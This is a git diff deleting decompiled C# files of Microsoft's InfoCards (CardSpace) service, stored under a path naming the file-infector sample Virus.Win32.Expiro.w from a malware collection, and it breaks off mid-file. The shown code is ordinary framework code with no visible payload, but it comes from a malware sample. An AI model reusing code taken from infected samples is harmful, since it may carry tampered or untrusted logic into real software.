- { - } - - protected override byte[] GetBytesFromString(string data) => this.Encoding.GetBytes(data); - } - - private class CaseInsensitiveCanonicalizer : Canonicalizers.StringCanonicalizerBase - { - public CaseInsensitiveCanonicalizer(bool hashValue, Encoding encoding, CultureInfo culture) - : base(hashValue, encoding, culture) - { - } - - protected override byte[] GetBytesFromString(string obj) => this.Encoding.GetBytes(this.Culture.TextInfo.ToUpper(obj)); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/CheckStoreFileValidityRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/CheckStoreFileValidityRequest.cs deleted file mode 100644 index c8ed0560..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/CheckStoreFileValidityRequest.cs +++ /dev/null @@ -1,77 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.CheckStoreFileValidityRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Text; -using System.Xml; -using System.Xml.Schema; - -namespace Microsoft.InfoCards -{ - internal class CheckStoreFileValidityRequest : UIAgentRequest - { - private string m_filename; - private bool m_valid = true; - - public CheckStoreFileValidityRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnInitializeAsSystem() => base.OnInitializeAsSystem(); - - protected override void OnMarshalInArgs() => this.m_filename = Utility.DeserializeString((BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode)); - - protected override void OnProcess() - { - try - { - try - { - using (FileStream fileStream = File.OpenRead(this.m_filename)) - { - XmlReaderSettings defaultReaderSettings = InfoCardSchemas.CreateDefaultReaderSettings(); - defaultReaderSettings.IgnoreWhitespace = false; - using (XmlReader reader = InfoCardSchemas.CreateReader((Stream) fileStream, defaultReaderSettings)) - { - if (reader.IsStartElement("EncryptedStore", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - return; - this.m_valid = false; - } - } - } - catch (XmlSchemaValidationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("SchemaValidationFailed"), (Exception) ex)); - } - catch (UnauthorizedAccessException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("ImportInaccesibleFile"), (Exception) ex)); - } - catch (IOException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"), (Exception) ex)); - } - catch (XmlException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"), (Exception) ex)); - } - } - catch (ImportException ex) - { - this.m_valid = false; - } - } - - protected override void OnMarshalOutArgs() => new BinaryWriter(this.OutArgs).Write(this.m_valid); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ClientRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ClientRequest.cs deleted file mode 100644 index e3002f63..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ClientRequest.cs +++ /dev/null @@ -1,405 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ClientRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections; -using System.Collections.Generic; -using System.Collections.Specialized; -using System.ComponentModel; -using System.Diagnostics; -using System.IO; -using System.Runtime.CompilerServices; -using System.Security; -using System.Security.Cryptography.X509Certificates; -using System.Security.Principal; -using System.Threading; - -namespace Microsoft.InfoCards -{ - internal abstract class ClientRequest : Request - { - private const int OutstandingCallWaitTime = 30000; - private IDictionary m_asyncOps; - private IDictionary m_cachedCerts; - private Process m_callerProcess; - private WindowsIdentity m_callerIdentity; - private Dictionary m_contextBag; - private object m_serviceAsyncSyncRoot; - private ClientRequest.ServiceAsyncOperation m_serviceAsyncOperation; - private bool m_cancelled; - private bool m_untrusted; - - public static Process GetCallingProcessFromRpcHandle(IntPtr RpcHandle) - { - uint pid; - if (NativeMethods.I_RpcBindingInqLocalClientPID(RpcHandle, out pid) != 0U) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("ServiceErrorGettingClientPid"))); - Process processFromRpcHandle = (Process) null; - bool flag1 = false; - bool flag2 = false; - while (!flag1) - { - flag1 = true; - try - { - if (flag2) - NativeMcppMethods.AddSystemAccessToProcess(RpcHandle, pid); - processFromRpcHandle = ProcessMonitor.GetProcessById((int) pid); - } - catch (ArgumentException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new UserCancelledException()); - } - catch (Win32Exception ex) - { - bool flag3 = false; - if (5 == ex.NativeErrorCode && !flag2) - { - flag1 = false; - flag2 = true; - flag3 = true; - } - if (!flag3) - throw InfoCardTrace.ThrowHelperError((Exception) new SecurityException(SR.GetString("ClientAPIInfocardError"), (Exception) ex)); - } - } - return processFromRpcHandle; - } - - public ClientRequest( - Process callingProcess, - WindowsIdentity userIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : this(callingProcess, userIdentity, rpcHandle, inArgs, outArgs, ExceptionList.AllNonFatal) - { - } - - public ClientRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ExceptionList recoverableExceptions) - : base(rpcHandle, inArgs, outArgs, recoverableExceptions) - { - InfoCardTrace.ThrowInvalidArgumentConditional(null == callingProcess, nameof (callingProcess)); - InfoCardTrace.ThrowInvalidArgumentConditional(null == callingIdentity, "userIdentity"); - InfoCardTrace.ThrowInvalidArgumentConditional(IntPtr.Zero == rpcHandle, nameof (rpcHandle)); - InfoCardTrace.ThrowInvalidArgumentConditional(null == inArgs, nameof (inArgs)); - InfoCardTrace.ThrowInvalidArgumentConditional(null == outArgs, nameof (outArgs)); - this.m_callerProcess = callingProcess; - this.m_callerIdentity = callingIdentity; - this.m_contextBag = new Dictionary(); - this.m_serviceAsyncSyncRoot = new object(); - InfoCardService.LifeTimeMonitor.AddClient(); - } - - public override WindowsIdentity RequestorIdentity => this.m_callerIdentity; - - public Process CallerProcess => this.m_callerProcess; - - public uint CallerPid => (uint) this.CallerProcess.Id; - - protected override void OnInitializeAsSystem() - { - if (this.CallerProcess.HasExited) - throw InfoCardTrace.ThrowHelperError((Exception) new UserCancelledException()); - } - - public T GetContext() - { - object obj = (object) null; - return this.m_contextBag.TryGetValue(typeof (T), out obj) ? (T) obj : default (T); - } - - public void SetContext(T value) => this.m_contextBag[typeof (T)] = (object) value; - - public void ClearContext() => this.m_contextBag.Remove(typeof (T)); - - public void AddAsyncOp(RpcAsyncResult async) - { - lock (this.SyncRoot) - { - if (this.m_asyncOps == null) - this.m_asyncOps = (IDictionary) new HybridDictionary(); - this.m_asyncOps[(object) async.Handle] = (object) async; - } - } - - public void CancelAsyncOp(int handle) - { - lock (this.SyncRoot) - { - if (this.m_asyncOps == null || !this.m_asyncOps.Contains((object) handle)) - return; - ((RpcAsyncResult) this.m_asyncOps[(object) handle]).Cancel(); - } - } - - public void RemoveAsyncOp(int handle) - { - lock (this.SyncRoot) - this.m_asyncOps.Remove((object) handle); - } - - private RpcAsyncResult FindAsyncOp(int handle) - { - lock (this.SyncRoot) - return (RpcAsyncResult) this.m_asyncOps[(object) handle]; - } - - protected void CheckIfAllAsyncOpsCompleted() - { - lock (this.SyncRoot) - { - if (this.m_asyncOps == null) - return; - foreach (RpcAsyncResult rpcAsyncResult in (IEnumerable) this.m_asyncOps.Values) - ; - } - } - - public RpcAsyncResult WaitForAsyncCompletion(int handle) - { - RpcAsyncResult asyncOp = this.FindAsyncOp(handle); - if (asyncOp == null) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("ServiceInvalidAsyncHandle"))); - asyncOp.AsyncWaitHandle.WaitOne(); - Exception exception = asyncOp.Exception; - if (exception != null) - throw new InfoCardRequestException(SR.GetString("ServiceAsyncOpGeneratedException"), exception); - return asyncOp; - } - - public void CertCacheAdd(string recipientIdentifier, X509Certificate2 cert) - { - lock (this.SyncRoot) - { - if (this.m_cachedCerts == null) - this.m_cachedCerts = (IDictionary) new HybridDictionary(); - this.m_cachedCerts[(object) recipientIdentifier] = (object) cert; - } - } - - public X509Certificate2 CertCacheFind(string recipientId) - { - lock (this.SyncRoot) - return (X509Certificate2) this.m_cachedCerts[(object) recipientId]; - } - - public static uint Authorize(IntPtr rpcIfHandle, IntPtr context) - { - uint num = 5; - InfoCardTrace.ThrowInvalidArgumentConditional(IntPtr.Zero == rpcIfHandle, nameof (rpcIfHandle)); - InfoCardTrace.ThrowInvalidArgumentConditional(IntPtr.Zero == context, nameof (context)); - try - { - using (WindowsIdentity windowsIdentity = Utility.GetWindowsIdentity(context)) - { - if (!windowsIdentity.IsAuthenticated) - throw InfoCardTrace.ThrowHelperError((Exception) new SecurityException()); - if (!ClientRequest.ValidateToken(context, windowsIdentity)) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("ServiceInvalidCallerToken"))); - num = 0U; - } - } - catch (RuntimeWrappedException ex) - { - InfoCardTrace.TraceAndLogException((Exception) ex); - InfoCardService.Crash(); - } - catch (SecurityException ex) - { - InfoCardTrace.Assert(5U == num, "Unexpected value for err!"); - } - catch (InfoCardBaseException ex) - { - throw; - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - InfoCardService.Crash(ex); - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("ServiceUnableToValidateCallerToken", (object) ex.Message))); - } - return num; - } - - private static bool ValidateToken(IntPtr rpcItfHandle, WindowsIdentity rpcIdentity) - { - Process processFromRpcHandle = ClientRequest.GetCallingProcessFromRpcHandle(rpcItfHandle); - bool flag = NativeMcppMethods.CreateServiceExecutionIdentity(processFromRpcHandle).User.Value == rpcIdentity.User.Value; - if (flag) - flag = NativeMcppMethods.IsTokenValid(processFromRpcHandle); - return flag; - } - - protected override void OnDisposeAsSystem() - { - this.m_callerProcess = (Process) null; - object[] objArray = (object[]) null; - lock (this.SyncRoot) - { - if (this.m_asyncOps != null) - { - objArray = new object[this.m_asyncOps.Values.Count]; - this.m_asyncOps.Values.CopyTo((Array) objArray, 0); - } - } - if (objArray != null) - { - foreach (RpcAsyncResult rpcAsyncResult in objArray) - rpcAsyncResult.Dispose(); - } - InfoCardService.LifeTimeMonitor.RemoveClient(); - base.OnDisposeAsSystem(); - } - - protected void ExecuteCancelable( - ClientRequest.AsyncEntryCallback entry, - ClientRequest.AsyncEntryCallback cancel) - { - lock (this.m_serviceAsyncSyncRoot) - { - if (this.m_cancelled) - { - if (this.m_untrusted) - throw InfoCardTrace.ThrowHelperError((Exception) new UntrustedRecipientException()); - throw InfoCardTrace.ThrowHelperError((Exception) new UserCancelledException()); - } - InfoCardTrace.Assert(null == this.m_serviceAsyncOperation, "Only a single cancelable service operation can be running at a time"); - this.m_serviceAsyncOperation = new ClientRequest.ServiceAsyncOperation(entry, cancel); - try - { - if (!ThreadPool.QueueUserWorkItem(InfoCardTrace.ThunkCallback(new WaitCallback(ClientRequest.ServiceAsyncEntry)), (object) this.m_serviceAsyncOperation)) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("UnableToQueueThreadpool"))); - this.m_serviceAsyncOperation.WaitForCompletion(); - if (this.m_serviceAsyncOperation.WasCancelled) - { - if (this.m_untrusted) - throw InfoCardTrace.ThrowHelperError((Exception) new UntrustedRecipientException()); - throw InfoCardTrace.ThrowHelperError((Exception) new UserCancelledException()); - } - if (this.m_serviceAsyncOperation.ExecutionException != null) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(this.m_serviceAsyncOperation.ExecutionException.Message, this.m_serviceAsyncOperation.ExecutionException)); - } - finally - { - this.m_serviceAsyncOperation = (ClientRequest.ServiceAsyncOperation) null; - } - } - } - - protected void CancelServiceAsyncOperation(bool untrusted) - { - if (this.m_serviceAsyncOperation != null) - this.m_serviceAsyncOperation.Cancel(); - this.m_untrusted = untrusted; - this.m_cancelled = true; - } - - private static void ServiceAsyncEntry(object state) - { - ClientRequest.ServiceAsyncOperation serviceAsyncOperation = (ClientRequest.ServiceAsyncOperation) state; - try - { - serviceAsyncOperation.Execute(); - } - finally - { - serviceAsyncOperation.Complete(); - } - } - - internal delegate void AsyncEntryCallback(); - - private class ServiceAsyncOperation - { - private ClientRequest.AsyncEntryCallback m_cancelCallback; - private ClientRequest.AsyncEntryCallback m_entryCallback; - private ManualResetEvent m_syncEvent; - private Exception m_exception; - private bool m_complete; - private bool m_cancelled; - private object m_sync; - - public ServiceAsyncOperation( - ClientRequest.AsyncEntryCallback entry, - ClientRequest.AsyncEntryCallback cancel) - { - this.m_entryCallback = entry; - this.m_cancelCallback = cancel; - this.m_sync = new object(); - this.m_syncEvent = new ManualResetEvent(false); - } - - public bool WasCancelled => this.m_cancelled; - - public Exception ExecutionException => this.m_exception; - - public void Complete() - { - if (this.m_complete) - return; - lock (this.m_sync) - { - if (this.m_complete) - return; - this.m_complete = true; - this.m_syncEvent.Set(); - } - } - - public void WaitForCompletion() => this.m_syncEvent.WaitOne(); - - public void Execute() - { - lock (this.m_sync) - { - if (this.m_cancelled) - return; - this.m_complete = false; - this.m_syncEvent.Reset(); - } - try - { - this.m_entryCallback(); - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - InfoCardService.Crash(ex); - else - this.m_exception = ex; - } - } - - public void Cancel() - { - lock (this.m_sync) - { - if (this.m_complete) - return; - this.m_cancelled = true; - try - { - if (this.m_cancelCallback == null) - return; - this.m_cancelCallback(); - } - finally - { - this.Complete(); - } - } - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ClientUIRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ClientUIRequest.cs deleted file mode 100644 index f5141066..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ClientUIRequest.cs +++ /dev/null @@ -1,305 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ClientUIRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; -using System.Threading; - -namespace Microsoft.InfoCards -{ - internal abstract class ClientUIRequest : ClientRequest - { - private static object s_syncRoot = new object(); - private static ClientUIRequest.ProcessHandleDictionary s_connectedProcesses = new ClientUIRequest.ProcessHandleDictionary(); - private ManualResetEvent m_uiAgentDone; - private StoreConnection m_rootStoreReference; - private volatile InfoCardUIAgent m_uiAgent; - private InfoCardUIAgent.CallMode m_uiAgentMode; - private AccessibilityApplicationManager m_atManager = new AccessibilityApplicationManager(); - - public ClientUIRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - InfoCardUIAgent uiAgent, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - InfoCardUIAgent.CallMode callMode, - ExceptionList recoverableExceptions) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs, recoverableExceptions) - { - this.m_uiAgentMode = callMode; - this.m_uiAgentDone = new ManualResetEvent(false); - this.m_uiAgent = uiAgent; - this.m_uiAgent.SetRequest(this); - } - - public static int BindToService(IntPtr rpcHandle, out IntPtr context) - { - int service = 0; - context = IntPtr.Zero; - try - { - Process callingProcess = ClientRequest.GetCallingProcessFromRpcHandle(rpcHandle); - WindowsImpersonationContext impersonationContext = NativeMcppMethods.CreateServiceExecutionIdentity(callingProcess).Impersonate(); - try - { - int num = 0; - lock (ClientUIRequest.s_syncRoot) - { - try - { - try - { - num = ClientUIRequest.s_connectedProcesses.GetNewHandle(); - } - catch (IndexOutOfRangeException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ServiceBusyException(SR.GetString("TooManyClientUIConnections"), (Exception) ex)); - } - ClientUIRequest.s_connectedProcesses[num] = callingProcess; - context = new IntPtr(num); - num = 0; - callingProcess = (Process) null; - } - finally - { - callingProcess?.Dispose(); - if (num != 0) - ClientUIRequest.s_connectedProcesses.Remove(num); - } - } - } - finally - { - impersonationContext.Undo(); - } - } - catch (InfoCardBaseException ex) - { - service = ex.NativeHResult; - } - return service; - } - - public static Process GetContextMapping(IntPtr context, bool clear) - { - int int32 = context.ToInt32(); - Process contextMapping = (Process) null; - lock (ClientUIRequest.s_syncRoot) - { - if (ClientUIRequest.s_connectedProcesses.ContainsHandle(int32)) - { - contextMapping = ClientUIRequest.s_connectedProcesses[int32]; - if (clear) - ClientUIRequest.s_connectedProcesses.Remove(int32); - } - } - return contextMapping; - } - - public static void RemoveAndDisposeContextMapping(IntPtr context) => ClientUIRequest.GetContextMapping(context, true)?.Dispose(); - - public InfoCardUIAgent.CallMode UIAgentMode => this.m_uiAgentMode; - - internal InfoCardUIAgent UIAgent => this.m_uiAgent; - - public int UIAgentPid => (int) this.UIAgent.ProcessId; - - public string UIAgentLogonSid => this.UIAgent.TrustedUserSid; - - public bool UIAgentActive => this.UIAgent != null && this.UIAgent.IsActive; - - protected override void OnInitializeAsUser() - { - base.OnInitializeAsUser(); - this.m_rootStoreReference = StoreConnection.CreateConnection(); - } - - protected override void PreProcessRequest() - { - try - { - base.PreProcessRequest(); - } - catch (UIAgentInitializationException ex) - { - throw; - } - catch (UserCancelledException ex) - { - throw; - } - catch (UntrustedRecipientException ex) - { - throw; - } - catch (UIAgentCrashedException ex) - { - throw new CommunicationException(SR.GetString("UIAgentCrash")); - } - catch (InfoCardBaseException ex) - { - throw this.ShowError((Exception) ex); - } - } - - protected override void ProcessRequest() - { - try - { - base.ProcessRequest(); - } - catch (UntrustedRecipientException ex) - { - throw; - } - catch (UIAgentInitializationException ex) - { - throw; - } - catch (UserCancelledException ex) - { - throw; - } - catch (UIAgentCrashedException ex) - { - throw new CommunicationException(SR.GetString("UIAgentCrash")); - } - catch (InfoCardBaseException ex) - { - throw this.ShowError((Exception) ex); - } - } - - protected override void PostProcessRequest() - { - try - { - base.PostProcessRequest(); - } - catch (InfoCardBaseException ex) - { - throw this.ShowError((Exception) ex); - } - } - - protected Exception ShowError(Exception ex) - { - if (this.m_uiAgent.IsShuttingDown) - return ex; - this.ProcessingException = ex; - this.m_uiAgent.ResetUIResult(); - if (ClientUIRequest.RequestResult.Untrusted == this.m_uiAgent.ShowUI(InfoCardUIAgent.CallMode.Error)) - ex = InfoCardTrace.ThrowHelperError((Exception) new UntrustedRecipientException()); - this.ProcessingException = (Exception) null; - return ex; - } - - protected void StartAndWaitForUIAgent() - { - switch (this.m_uiAgent.ShowUI(this.UIAgentMode)) - { - case ClientUIRequest.RequestResult.Ok: - break; - case ClientUIRequest.RequestResult.Cancel: - case ClientUIRequest.RequestResult.Error: - throw InfoCardTrace.ThrowHelperError((Exception) new UserCancelledException()); - case ClientUIRequest.RequestResult.Untrusted: - throw InfoCardTrace.ThrowHelperError((Exception) new UntrustedRecipientException()); - case ClientUIRequest.RequestResult.UIFailedInitialization: - throw InfoCardTrace.ThrowHelperError((Exception) new UIAgentInitializationException()); - case ClientUIRequest.RequestResult.UICrashed: - throw InfoCardTrace.ThrowHelperError((Exception) new UIAgentCrashedException()); - default: - InfoCardTrace.Assert(false, "We should never get Pending or invalid state here"); - break; - } - } - - public void StartAccessibilityApplications(uint userATApplicationFlags) - { - if (this.m_uiAgent == null) - return; - string trustedUserSid = this.m_uiAgent.TrustedUserSid; - this.m_atManager.RestartOnInfoCardDesktop(userATApplicationFlags, this.m_uiAgent.TrustedUserToken, ref trustedUserSid, "WinSta0\\" + this.m_uiAgent.DesktopName, this.m_uiAgent.TsSessionId, this.CallerPid, this.RequestorIdentity); - } - - public bool RestartAccessibilityApplications() - { - this.m_atManager.Stop(); - return this.m_atManager.RestartOnUsersDesktop(this.CallerPid, "WinSta0\\Default", this.RequestorIdentity); - } - - public void StopAccessibilityApplications() => this.m_atManager.Stop(); - - public void UserCancel(bool untrusted) - { - lock (this.SyncRoot) - { - this.CancelServiceAsyncOperation(untrusted); - this.OnUserCancel(); - } - } - - protected virtual void OnUserCancel() - { - } - - private void ReleaseUIAgent() - { - lock (this.SyncRoot) - { - this.CheckIfAllAsyncOpsCompleted(); - this.StopAccessibilityApplications(); - if (this.m_uiAgent == null) - return; - this.m_uiAgent.ReleaseUI(); - this.m_uiAgent.ClearRequest(this); - this.m_uiAgent = (InfoCardUIAgent) null; - } - } - - protected override void OnDisposeAsUser() - { - base.OnDisposeAsUser(); - if (this.m_rootStoreReference == null) - return; - this.m_rootStoreReference.Close(); - this.m_rootStoreReference = (StoreConnection) null; - } - - protected override void OnDisposeAsSystem() - { - if (this.m_uiAgentDone != null) - { - this.m_uiAgentDone.Close(); - this.m_uiAgentDone = (ManualResetEvent) null; - } - ClientUIRequest.RemoveAndDisposeContextMapping(this.RpcHandle); - this.ReleaseUIAgent(); - base.OnDisposeAsSystem(); - } - - private class ProcessHandleDictionary : HandleDictionary - { - } - - public enum RequestResult - { - Pending, - Ok, - Cancel, - Untrusted, - Error, - UIFailedInitialization, - UICrashed, - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/CloseCryptoHandleRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/CloseCryptoHandleRequest.cs deleted file mode 100644 index 4b47f54f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/CloseCryptoHandleRequest.cs +++ /dev/null @@ -1,41 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.CloseCryptoHandleRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class CloseCryptoHandleRequest : ClientRequest - { - private int m_cryptoSession; - - public CloseCryptoHandleRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs) - { - } - - protected override void OnMarshalInArgs() - { - this.m_cryptoSession = new InfoCardBinaryReader(this.InArgs).ReadInt32(); - InfoCardTrace.ThrowInvalidArgumentConditional(0 == this.m_cryptoSession, "cryptoSession"); - } - - protected override void OnMarshalOutArgs() - { - } - - protected override void OnProcess() => CryptoSession.Find(this.m_cryptoSession, this.CallerPid, this.RequestorIdentity.User).Dispose(); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/CommunicationException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/CommunicationException.cs deleted file mode 100644 index 8fa4b4c4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/CommunicationException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.CommunicationException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class CommunicationException : InfoCardBaseException - { - private const int HRESULT = -1073413888; - - public CommunicationException() - : base(-1073413888) - { - } - - public CommunicationException(string message) - : base(-1073413888, message) - { - } - - public CommunicationException(string message, Exception inner) - : base(-1073413888, message, inner) - { - } - - protected CommunicationException(SerializationInfo si, StreamingContext sc) - : base(-1073413888, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/Constants.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/Constants.cs deleted file mode 100644 index cc1185e1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/Constants.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.Constants -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -namespace Microsoft.InfoCards -{ - internal static class Constants - { - internal static class Maxima - { - public const int IssuerKey = 16384; - public const int LogoLength = 1048576; - public const int SaltLength = 1024; - public const int PinHashLength = 1024; - public const int TokenTypes = 32; - public const int CreationParameters = 128; - public const int FileNameLength = 259; - public const int SupportedClaimsLength = 128; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/CorruptStoreException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/CorruptStoreException.cs deleted file mode 100644 index e9bf315a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/CorruptStoreException.cs +++ /dev/null @@ -1,30 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.CorruptStoreException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class CorruptStoreException : Exception - { - public CorruptStoreException() - { - } - - public CorruptStoreException(string message) - { - } - - public CorruptStoreException(string message, Exception inner) - { - } - - protected CorruptStoreException(SerializationInfo si, StreamingContext sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/CreateCardRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/CreateCardRequest.cs deleted file mode 100644 index f6ea213c..00000000 --- 